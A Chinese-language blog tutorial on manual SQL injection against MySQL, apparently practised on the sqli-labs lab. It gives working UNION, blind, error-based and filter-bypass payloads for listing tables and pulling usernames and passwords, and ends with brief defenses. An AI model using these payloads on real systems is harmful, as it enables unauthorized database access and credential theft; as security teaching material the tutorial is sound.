本文最后更新于172 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
1、SQL注入与MySQL基础
1. SQL注入概述
1.1 什么是SQL注入
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用应用程序对用户输入数据的合法性判断不足,在预先定义的SQL查询语句中插入恶意的SQL代码,从而欺骗数据库服务器执行非授权的操作。这种攻击可能导致数据泄露、数据篡改、甚至服务器被控制等严重后果。
1.2 Web应用程序的三层架构
典型的Web应用程序采用三层架构:
- 视图层(View):负责用户界面和交互。
- 业务逻辑层(Business Logic):处理用户请求并执行业务规则。
- 数据访问层(Data Access):负责与数据库交互,执行SQL查询。
SQL注入通常发生在数据访问层,由于未对用户输入进行充分过滤或验证,导致恶意SQL代码被拼接到查询语句中。
2. SQL注入之MySQL语句语法
2.1 数据库概述
数据库是存储数据的仓库,按结构可分为:
- 关系型数据库(RDBMS):以表格形式存储数据,表与表之间存在复杂关联。常见的有MySQL、Oracle、SQL Server等。
- 非关系型数据库(NoSQL):适用于结构灵活、高并发场景,如MongoDB、Redis。
2.2 数据库服务器层级关系
数据库服务器的数据组织层次如下:
服务器 → 多个数据库 → 多个表 → 多个行和列 → 数据
2.3 SQL语句语法回顾
以下是一些常用的SQL语句:
-- 查询所有数据库
SHOW DATABASES;
-- 选择数据库
USE test;
-- 查询当前数据库中的所有表
SHOW TABLES;
-- 查询表中所有数据
SELECT * FROM t1;
-- 条件查询
SELECT * FROM t1 WHERE id = 2;
-- 联合查询(UNION)
SELECT * FROM t1 WHERE id = -1 UNION SELECT * FROM t1 WHERE pass = '111';
-- 排序(ORDER BY)
SELECT * FROM t1 ORDER BY id;
注意:使用UNION时,前后查询的字段数量必须一致。
3. SQL注入之MySQL系统库
3.1 系统库释义
MySQL提供了几个系统库,用于存储元数据(关于数据库的数据):
- information_schema:
- 存储所有数据库、表、列的信息。
- 常用表:
SCHEMATA:所有数据库信息。TABLES:所有表信息。COLUMNS:所有列信息。
- performance_schema:
- 用于收集数据库服务器性能参数,数据存储在内存中。
- mysql:
- 核心数据库,存储用户信息、权限设置等关键数据。
- sys:
- 提供易于理解的视图,整合了
information_schema和performance_schema的信息。
2、SQL注入之MySQL手工注入
1.SQL注入基础概念
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入参数中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的任意SQL查询。
注入原理
当Web应用程序未对用户输入进行充分验证和过滤,直接将用户输入拼接到SQL语句中时,攻击者可以构造特殊输入来改变原SQL语句的语义和执行逻辑。
2.GET与POST提交方式的区别
| 特性 | GET请求 | POST请求 |
|---|---|---|
| 数据位置 | URL参数中(?后面) | HTTP请求体中 |
| 数据长度 | 受限(URL长度限制) | 理论上无限制 |
| 安全性 | 较低(参数暴露在URL中) | 较高(参数不可见) |
| 速度 | 较快(可缓存) | 较慢 |
| 用途 | 获取数据(查询操作) | 提交数据(修改操作) |
3.手工SQL注入完整流程
1. 判断注入点类型
数字型注入(如sqli-labs Less-2)
原SQL:SELECT * FROM users WHERE id = $id
测试:?id=1 and 1=1 -- 正常显示
?id=1 and 1=2 -- 无结果显示
字符型注入
原SQL:SELECT * FROM users WHERE id = '$id'
测试:?id=1' and '1'='1' -- 正常显示
?id=1' and '1'='2' -- 无结果显示
2. 确定字段数量(ORDER BY)
?id=1 order by 1 -- 正常
?id=1 order by 2 -- 正常
?id=1 order by 3 -- 正常
?id=1 order by 4 -- 正常
?id=1 order by 5 -- 报错(说明有4个字段)
3. 确定回显点(UNION SELECT)[[确定回显点(union select)]]
?id=-1 union select 1,2,3,4 --
-- 将原查询设置为无结果,使union查询结果显示出来
-- 观察页面中数字2和3的位置(回显点)
4. 信息收集
-- 数据库版本
?id=-1 union select 1,version(),3,4
-- 当前数据库名
?id=-1 union select 1,database(),3,4
-- 当前用户
?id=-1 union select 1,user(),3,4
-- 服务器主机名
?id=-1 union select 1,@@hostname,3,4
5. 获取数据库中的表(MySQL ≥ 5.0)
-- 获取security数据库中的所有表
?id=-1 union select 1,group_concat(table_name),3,4
from information_schema.tables
where table_schema='security'
-- 十六进制写法(避免引号过滤)
?id=-1 union select 1,group_concat(table_name),3,4
from information_schema.tables
where table_schema=0x7365637572697479 -- security的十六进制
示例结果:emails,referers,uagents,users
6. 获取表的字段名
-- 获取users表的所有字段
?id=-1 union select 1,group_concat(column_name),3,4
from information_schema.columns
where table_name='users' and table_schema='security'
-- 十六进制写法
?id=-1 union select 1,group_concat(column_name),3,4
from information_schema.columns
where table_name=0x7573657273 -- users的十六进制
示例结果:id,username,password
7. 提取数据
-- 获取所有用户名和密码
?id=-1 union select 1,group_concat(username,0x3a,password),3,4
from users
-- 分条获取(避免数据过多不显示)
?id=-1 union select 1,username,password,4 from users limit 0,1
?id=-1 union select 1,username,password,4 from users limit 1,1
示例结果:admin:admin123, test:test123, …
4.高级注入技巧
1. 时间盲注(当无回显时)
?id=1 and if(ascii(substr(database(),1,1))>100,sleep(3),0) --
-- 如果数据库名第一个字符的ASCII码大于100,延迟3秒响应
2. 布尔盲注
?id=1 and length(database())=8 --
-- 如果数据库名长度为8则正常显示,否则无结果
3. 报错注入
-- 使用extractvalue报错
?id=1 and extractvalue(1,concat(0x7e,(select version()),0x7e))
-- 使用updatexml报错
?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)
5.防御措施
- 使用参数化查询(预编译语句)
- 对输入进行严格验证和过滤
- 使用最小权限原则
- 对数据库错误信息进行处理
- 使用Web应用防火墙(WAF)
6.实战注意事项
- 注释符使用:
--、#、/* */ - 空格过滤绕过:使用
/**/、%0a、%0b、%0c、%0d、%09、%a0 - 引号过滤绕过:使用十六进制编码(0x…)
- 关键字过滤绕过:使用大小写混合、双写、编码等方式
